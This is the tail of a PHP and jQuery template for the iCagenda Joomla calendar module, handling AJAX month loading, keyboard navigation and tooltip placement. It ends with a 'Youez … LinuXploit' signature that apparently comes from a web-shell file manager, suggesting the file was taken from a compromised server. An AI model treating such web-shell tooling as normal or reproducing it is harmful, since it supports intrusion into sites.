		$OneEventbgcolor, $Eventsbgcolor, $bgcolor, $bgimage, $bgimagerepeat,
		$moduleclass_sfx, $modid, $theme_calendar, $ictip_ordering, $header_text);

// Load Calendar Template
echo '<!-- iCagenda - Calendar -->';
echo '<div tabindex="0" id="ic-calendar-' . $modid . '" class="">';
require $t_calendar;
echo '</div>';
?>

<script type="text/javascript">
(function($){
	var icmouse = '<?php echo $mouseover; ?>';
	var mouseout = '<?php echo $mouseout; ?>';
	var icclasstip = '<?php echo $icclasstip; ?>';
	var icclass = '<?php echo $icclass; ?>';
	var position = '<?php echo $params->get('position', 'center'); ?>';
	var posmiddle = '<?php echo $params->get('posmiddle', 'top'); ?>';
	var modid = '<?php echo $modid; ?>';
	var modidid = '<?php echo '#'.$modid; ?>';
	var icagendabtn = '<?php echo $icagendabtn; ?>';
	var mod_iccalendar = '<?php echo $mod_iccalendar; ?>';
	var template = '<?php echo '.'.$theme_calendar; ?>';
	var loading = '<?php echo JText::_('MOD_ICCALENDAR_LOADING'); ?>';
	var closetxt = '<?php echo $close_btn; ?>';
	var tip_type = '<?php echo $tip_type; ?>';
	var tipwidth = <?php echo (int)$params->get('tipwidth', 390) ?>;
	var smallwidththreshold = <?php echo (int) $com_params->get('smallwidththreshold', 0) ?>;
	var verticaloffset = <?php echo (int)$params->get('verticaloffset', 0) ?>;
	var css_position = '';
	var mobile_min_width = <?php echo $mobile_min_width; ?>;
	var extra_css = '';

	$(document).on('click touchend', icagendabtn, function(e){<?php // Refresh the current month ?>
		e.preventDefault();

		url=$(this).attr('href');

		$(modidid).html('<\div class="icloading_box"><\div style="text-align:center;">' + loading + '<\/div><\div class="icloading_img"><\/div><\/div>').load(url + ' ' + mod_iccalendar, function(){$('<?php echo $mod_iccalendar ?>').highlightToday();});

	});

	// Calendar Keyboard Accessibility (experimental, since 3.5.14)
	if (typeof first_mod === 'undefined') {
		$i = '1';
		first_mod = modid;
		first_nb = $i;
		nb_mod = $i;
	} else {
		$i = (typeof $i === 'undefined') ? '2' : ++$i;
		nb_mod = $i;
	}

	$('#ic-calendar-'+modid).addClass('ic-'+nb_mod);

	$(document).keydown(function(e){

		// ctrl+alt+C : focus on first Calendar module
		// REMOVE: Polish language conflict, alt+C Ć
//		if (e.ctrlKey && e.altKey && e.keyCode == 67) {
//			$('#ic-calendar-'+first_mod).focus();
//		}

		// ctrl+alt+N : focus on Next calendar module
		if (e.ctrlKey && e.altKey && e.keyCode == 78) {
			if ($('#ic-calendar-'+modid).is(':focus')) {
				activ = $('#ic-calendar-'+modid).attr('class');
				act = activ.split('-');
				act = act[1];
				next = ++act;
			}
			mod_class = $('#ic-calendar-'+modid).attr('class');
			if ($('.ic-'+next).length == 0) next = 1;
			if (mod_class == 'ic-'+next) $('.ic-'+next).focus();
		}

		// On focused calendar module
		if ($('#ic-calendar-'+modid).is(':focus')){
			switch (e.keyCode) {
				case 37:
					// Left arrow pressed
					url = $('#ic-calendar-'+modid+' #ic-prev-month').attr('href');
					break;
				case 38:
					// Top arrow pressed
					url = $('#ic-calendar-'+modid+' #ic-next-year').attr('href');
					break;
				case 39:
					// Right arrow pressed
					url = $('#ic-calendar-'+modid+' #ic-next-month').attr('href');
					break;
				case 40:
					// Top arrow pressed
					url = $('#ic-calendar-'+modid+' #ic-prev-year').attr('href');
					break;
			}

			if ((!e.shiftKey && (e.keyCode == 37 || e.keyCode == 39)) ||
				(e.shiftKey && (e.keyCode == 38 || e.keyCode == 40))) {
				$(modidid).html('<\div class="icloading_box"><\div style="text-align:center;">' + loading + '<\/div><\div class="icloading_img"><\/div><\/div>').load(url + ' ' + mod_iccalendar, function(){$('<?php echo $mod_iccalendar ?>').highlightToday();});
			}

//			if ($(modidid+' '+icclasstip).is(':focus') && e.keyCode == 13){
//				var icmouse = "click";
//			}
		}
	});

	if (tip_type=='2') {<?php // Not used ?>
	$(document).on(icmouse, this, function(e){
		e.preventDefault();

		$(".iCaTip").tipTip({maxWidth: "400", defaultPosition: "top", edgeOffset: 1, activation:"hover", keepAlive: true});
	});
	}

	if (tip_type=='1') {<?php // Display the events popup ?>
		$view_width=$(window).width();<?php // Get the viewport width ?>
		if($view_width<smallwidththreshold){<?php // Mobile phones do not support 'hover' or 'click' in the conventional way ?>
			icmouse='click touchend';
		}

		$(document).on(icmouse, modidid+' '+icclasstip, function(e){
			$view_height=$(window).height();<?php // Get the viewport height ?>
			$view_width=$(window).width();<?php // Get the viewport width ?>
			e.preventDefault();
			$('#ictip').remove();
			$parent=$(this).parent();
			$tip=$($parent).children(modidid+' .spanEv').html();

			if ($view_width < smallwidththreshold)
			{
				<?php // Mobile phone style - fill the viewport ?>
				css_position = 'fixed';
				$width_px = Math.max(mobile_min_width,$view_width); <?php // Popup width is screen width (minimum 320px) ?>
				$width = '100%';
				$pos = '0px';
				$top = '0px';
				extra_css='border:0;border-radius:0;height:100%;box-shadow:none;margin:0px;padding:10px;min-width:'+mobile_min_width+'px;overflow-y:scroll;padding:<?php echo $padding ?>;';<?php // iPhone friendly size and allow scrolling if the page overflows ?>
			}
			else
			{
				css_position = 'absolute';
				$width_px = Math.min($view_width, tipwidth);
				$width = $width_px+'px';

				<?php // Horizontal positioning ?>
				switch(position) {
					case 'left':
						$pos=Math.max(0,$(modidid).offset().left-$width_px-10)+'px';
						break;
					case 'right':
						$pos=Math.max(0,Math.min($view_width-$width_px,$(modidid).offset().left+$(modidid).width()+10))+'px';
						break;
					default:<?php //Centre ?>
						$pos=Math.ceil(($view_width-$width_px)/2)+'px';
						break;
				}

				<?php // Vertical positioning ?>
				if (posmiddle === 'top')
				{
					$top = Math.max(0,$(modidid).offset().top-verticaloffset)+'px';<?php // Top ?>
				}
				else
				{
					$top = Math.max(0,$(modidid).offset().top+$(modidid).height()-verticaloffset)+'px';<?php // Bottom ?>
				}
			}


			$('body').append('<\div style="display:block; position:'+css_position+'; width:'+$width+'; left:'+$pos+'; top:'+$top+';'+extra_css+'" id="ictip"> '+$(this).parent().children('.date').html()+'<a class="close" style="cursor: pointer;"><\div style="display:block; width:auto; height:50px; text-align:right;">' + closetxt + '<\/div></a><span class="clr"></span>'+$tip+'<\/div>');

			// Tooltip Keyboard Accessibility (experimental, since 3.5.14)
			$(document).keydown(function(e){
				//	Shift : focus on tooltip events
				if ($('.icevent a').is(':focus') && e.keyCode == 16){
					$('.ictip-event a').focus();
				}
				//	esc : close tooltip
				if (($('.ictip-event a').is(':focus') || $('.icevent a').is(':focus')) && e.keyCode == 27){
					e.preventDefault();
					$('#ictip').remove();
				}
			});

			// Close Tooltip
			$(document).on('click touchend', '.close', function(e){
				e.preventDefault();
				$('#ictip').remove();
			});

			if (mouseout == '1')
			{
				$('#ictip')
					.mouseout(function() {
//						$( "div:first", this ).text( "mouse out" );
						$('#ictip').stop(true).fadeOut(300);
					})
					.mouseover(function() {
//						$( "div:first", this ).text( "mouse over" );
						$('#ictip').stop(true).fadeIn(300);
					});
			}
		});
	}

}) (jQuery);
</script>
<?php
if ( ! $setTodayTimezone && $server_date
	&& ! $firstMonth
	&& $lang->getTag() != 'fa-IR')
{
	$document->addScriptDeclaration('
		jQuery(document).ready(function(){
			jQuery("' . $mod_iccalendar . '").highlightToday("show_today");
		});
	');
}

// For Dev.
if ($time_loading)
{
	$endtime_cal = iCLibrary::getMicrotime();

	echo '<center style="font-size:8px;">Time to create calendar: ' . round($endtime_cal - $starttime_cal, 3) . ' seconds</center>';
}

Youez - 2016 - github.com/yon3zu
LinuXploit